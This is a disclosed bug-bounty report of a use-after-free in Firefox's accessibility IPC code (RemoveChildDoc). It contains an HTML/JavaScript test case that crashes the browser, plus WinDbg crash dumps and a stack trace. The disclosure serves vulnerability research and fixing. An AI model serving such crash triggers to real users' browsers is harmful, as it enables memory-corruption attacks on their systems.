Skip to content
Memory corruption Disclosed report Advanced

IPC - Use After Free in a11y::DocAccessibleParent::RemoveChildDoc()

A use-after-free in Firefox's accessibility IPC code caused the browser to crash when a crafted page manipulated DOM nodes and reloaded. An attacker could trigger a memory corruption crash, and the freed pointer was observed pointing to a released object.

Looben Yang Follow

Originally disclosed on Mozilla

  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 4 months

Reproduction test case:

<html><body></body><script>
var iframe = document.body.appendChild(document.createElement("iframe"));
var element1 = document.createElement("content");
var element2 = document.createElement("OPTION");
var element3 = document.createElement("wbr");
var range = document.createRange();
range.setStart(element2, 0);
setTimeout(function(){var select = window.getSelection();}, 50);
var player0 = document.documentElement.animate([{"position": "relative","offset":"0"},], {duration:34,iterations: 69,delay: 50});
player0.onfinish = function(){range.insertNode(element1);range.setStartBefore(element3); };
setTimeout(function(){location.reload(true)},200);</script></html>

Steps to reproduce: 1. Open the test case UAF_RemoveChildDoc_Repro.html in Firefox browser. 2. Firefox crashes at corrupted memory in a11y::DocAccessibleParent::RemoveChildDoc():

	(14e8.374c): Access violation - code c0000005 (!!! second chance !!!)
	eax=1fa0a648 ebx=00000008 ecx=17a0f000 edx=179f61c4 esi=1fa0a630 edi=7f7198ec
	eip=5987e676 esp=00afe268 ebp=00afe274 iopl=0         nv up ei pl nz na pe nc
	cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
	xul!nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *>::Equals+0x12 [inlined in xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+0x29]:
	5987e676 3901            cmp     dword ptr [ecx],eax  ds:002b:17a0f000=????????

Firefox version: 53.0a1 (2016-12-28) (32-bit) OS: Windows 10

Stack trace:

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

FAULTING_IP: 
xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+29 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\dist\include\nstarray.h @ 1276]
5987e676 3901            cmp     dword ptr [ecx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 5987e676 (xul!nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *>::Equals+0x00000012)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 17a0f000
Attempt to read from address 17a0f000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=1fa0a648 ebx=00000008 ecx=17a0f000 edx=179f61c4 esi=1fa0a630 edi=7f7198ec
eip=5987e676 esp=00afe268 ebp=00afe274 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
xul!nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *>::Equals+0x12 [inlined in xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+0x29]:
5987e676 3901            cmp     dword ptr [ecx],eax  ds:002b:17a0f000=????????

FAULTING_THREAD:  0000374c

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  firefox.exe

OVERLAPPED_MODULE: Address regions for 'softokn3' and 'kbdus.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  17a0f000

READ_ADDRESS:  17a0f000 

FOLLOWUP_IP: 
xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+29 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\dist\include\nstarray.h @ 1276]
5987e676 3901            cmp     dword ptr [ecx],eax

NTGLOBALFLAG:  2000000

APPLICATION_VERIFIER_FLAGS:  0

APP:  firefox.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 5987f635 to 5987e676

STACK_TEXT:  
00afe274 5987f635 00000000 17a76740 17a76740 xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+0x29
00afe29c 5987ea0e 1fa0a630 00000000 17a76740 xul!mozilla::a11y::DocAccessibleParent::RemoveChildDoc+0x22
00afe2d8 5987e9a0 1fbe6c28 17a76740 1fbe6c28 xul!mozilla::a11y::DocAccessibleParent::Destroy+0xa6
00afe310 5987f39a 1fbe6c28 17a76740 17a76740 xul!mozilla::a11y::DocAccessibleParent::Destroy+0x38
00afe324 58cc5a7c 00afe33e 1fbe6c28 1ba0a800 xul!mozilla::a11y::DocAccessibleParent::RecvShutdown+0xd
00afe384 58c9c12a 1fbe6c28 1fbe6c28 1ba0a8a8 xul!mozilla::a11y::PDocAccessibleParent::OnMessageReceived+0x57
00aff0c0 582b8e5f 1fbe6c28 1ba0a8a8 200cff10 xul!mozilla::dom::PContentParent::OnMessageReceived+0x4b
00aff0dc 582b8f91 00be6c28 1fbe6c28 1ba0a8a8 xul!mozilla::ipc::MessageChannel::DispatchAsyncMessage+0x4c
00aff144 582b9296 1fbe6c28 1fbe6c00 200cff10 xul!mozilla::ipc::MessageChannel::DispatchMessageW+0xc2
00aff15c 582b9231 1fbe6c00 0850b160 08511524 xul!mozilla::ipc::MessageChannel::RunMessage+0x53
00aff174 5818391c 1fbe6c00 085221a0 08522190 xul!mozilla::ipc::MessageChannel::MessageTask::Run+0x38
00aff1e4 58182119 0850b160 00000000 00aff217 xul!nsThread::ProcessNextEvent+0x14d
00aff218 58281d48 0855f0c0 37a307f6 08511520 xul!mozilla::ipc::MessagePump::Run+0x70
00aff250 58281d17 0850b160 00000001 08511500 xul!MessageLoop::RunHandler+0x20
00aff270 584c2c61 14ad95c0 00000000 00aff290 xul!MessageLoop::Run+0x19
00aff280 584c29f0 08511520 14ad95c0 00aff2a4 xul!nsBaseAppShell::Run+0x34
00aff290 584c29a5 08511520 00aff61d 18215de0 xul!nsAppShell::Run+0x26
00aff2a4 584cb85c 14ad95c0 62d92c50 00aff520 xul!nsAppStartup::Run+0x22
00aff498 586501bc 085100b0 00aff65c 00c130c0 xul!XREMain::XRE_mainRun+0x65c
00aff4c4 5864f6d9 00000000 00000000 00aff65c xul!XREMain::XRE_main+0x157
00aff62c 00bf17fc 00000001 08501050 00aff65c xul!XRE_main+0x39
00aff8c4 00bf3385 004eff18 085111c0 00000001 firefox!do_main+0x7cc
00affc7c 00bf5e07 00000001 ffe03f50 0830cf18 firefox!wmain+0x405
00affcc4 74228694 00910000 74228670 1e55464b firefox!__scrt_common_main_seh+0xf9
00affcd8 778004ba 00910000 1df5b00d 00000000 KERNEL32!BaseThreadInitThunk+0x24
00affd20 7780048a ffffffff 77822f86 00000000 ntdll!__RtlUserThreadStart+0x2f
00affd30 00000000 00bf5e7d 00910000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\dist\include\nstarray.h

FAULTING_SOURCE_FILE:  c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\dist\include\nstarray.h

FAULTING_SOURCE_LINE_NUMBER:  1276

FAULTING_SOURCE_CODE:  
No source found for 'c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\dist\include\nstarray.h'

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+29

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: xul

IMAGE_NAME:  xul.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5863c2af

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_xul.dll!nsTArray_Impl_mozilla::a11y::ProxyAccessible_*,nsTArrayInfallibleAllocator_::IndexOf_mozilla::a11y::DocAccessibleParent_*,nsDefaultComparator_mozilla::a11y::ProxyAccessible_*,mozilla::a11y::DocAccessibleParent_*___

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_xul!nsTArray_Impl_mozilla::a11y::ProxyAccessible_*,nsTArrayInfallibleAllocator_::IndexOf_mozilla::a11y::DocAccessibleParent_*,nsDefaultComparator_mozilla::a11y::ProxyAccessible_*,mozilla::a11y::DocAccessibleParent_*___+2

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_xul.dll!nstarray_impl_mozilla::a11y::proxyaccessible_*,nstarrayinfallibleallocator_::indexof_mozilla::a11y::docaccessibleparent_*,nsdefaultcomparator_mozilla::a11y::proxyaccessible_*,mozilla::a11y::docaccessibleparent_*___

FAILURE_ID_HASH:  {6ee3eec6-b59d-bfd8-7523-dec28070ab0a}

Followup: MachineOwner
---------

Sometimes it crashes at e5e5e5e5. Variables shows that the aChildDoc->mParent pointed to a freed object:

(5a0.3570): Unknown exception - code c000041d (!!! second chance !!!)
eax=0093d1f8 ebx=00000008 ecx=187ca884 edx=e5e5e5e5 esi=187ca880 edi=239eba50
eip=5f12e655 esp=0093d1c8 ebp=0093d1d4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
xul!nsTArray_Impl<mozilla::a11y::ProxyAccessible *,nsTArrayInfallibleAllocator>::IndexOf<mozilla::a11y::DocAccessibleParent *,nsDefaultComparator<mozilla::a11y::ProxyAccessible *,mozilla::a11y::DocAccessibleParent *> >+0x8:
5f12e655 8b3a            mov     edi,dword ptr [edx]  ds:002b:e5e5e5e5=????????

aChildDoc	0x239eba50 class mozilla::a11y::DocAccessibleParent *
 mozilla::a11y::ProxyAccessible	class mozilla::a11y::ProxyAccessible
  mozilla::a11y::ProxyAccessibleBase<mozilla::a11y::ProxyAccessible>	class mozilla::a11y::ProxyAccessibleBase<mozilla::a11y::ProxyAccessible>
   mParent	0x187ca880 class mozilla::a11y::ProxyAccessible *
	mozilla::a11y::ProxyAccessibleBase<mozilla::a11y::ProxyAccessible>	class mozilla::a11y::ProxyAccessibleBase<mozilla::a11y::ProxyAccessible>
	 mParent	0xe5e5e5e5 class mozilla::a11y::ProxyAccessible *
	 mChildren	class nsTArray<mozilla::a11y::ProxyAccessible *>
	 mDoc	0xe5e5e5e5 class mozilla::a11y::DocAccessibleParent *
	 mWrapper	0xe5e5e5e5
	 mID	0xe5e5e5e5`e5e5e5e5
	 mRole	0n98952677 (No matching enumerant)
	 mOuterDoc	true
	 mIsDoc	false
	 mHasValue	true
	 mIsHyperLink	false
	 mIsHyperText	false
	mCOMProxy	class RefPtr<IAccessible>
   mChildren	class nsTArray<mozilla::a11y::ProxyAccessible *>
   mDoc	0x239eba50 class mozilla::a11y::DocAccessibleParent *
   mWrapper	0
   mID	0
   mRole	DOCUMENT (0n15)
   mOuterDoc	false
   mIsDoc	true
   mHasValue	false
   mIsHyperLink	false
   mIsHyperText	false
  mCOMProxy	class RefPtr<IAccessible>
 mozilla::a11y::PDocAccessibleParent	class mozilla::a11y::PDocAccessibleParent
 mChildDocs	class nsTArray<mozilla::a11y::DocAccessibleParent *>
 mParentDoc	0x255e7a90 class mozilla::a11y::DocAccessibleParent *
 mAccessibles	class nsTHashtable<mozilla::a11y::DocAccessibleParent::ProxyEntry>
 mTopLevel	false
 mShutdown	true
this	0x255e7a90 class mozilla::a11y::DocAccessibleParent *
 mozilla::a11y::ProxyAccessible	class mozilla::a11y::ProxyAccessible
 mozilla::a11y::PDocAccessibleParent	class mozilla::a11y::PDocAccessibleParent
 mChildDocs	class nsTArray<mozilla::a11y::DocAccessibleParent *>
 mParentDoc	0x00000000 class mozilla::a11y::DocAccessibleParent *
 mAccessibles	class nsTHashtable<mozilla::a11y::DocAccessibleParent::ProxyEntry>
 mTopLevel	true
 mShutdown	true

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a child document's parent pointer was not cleared when the document was destroyed, so RemoveChildDoc later compared against freed memory.

Impact

The page could crash the browser through memory corruption; the report does not claim code execution.

What the attacker needed

Victim opens a crafted page; accessibility IPC active

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox splits some work into separate processes, and the accessibility code keeps a list of child documents. A use-after-free means the program still holds a pointer to memory it has already released, so reading it later can crash or corrupt the browser. Here a crafted page made that stale pointer get used during a reload.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.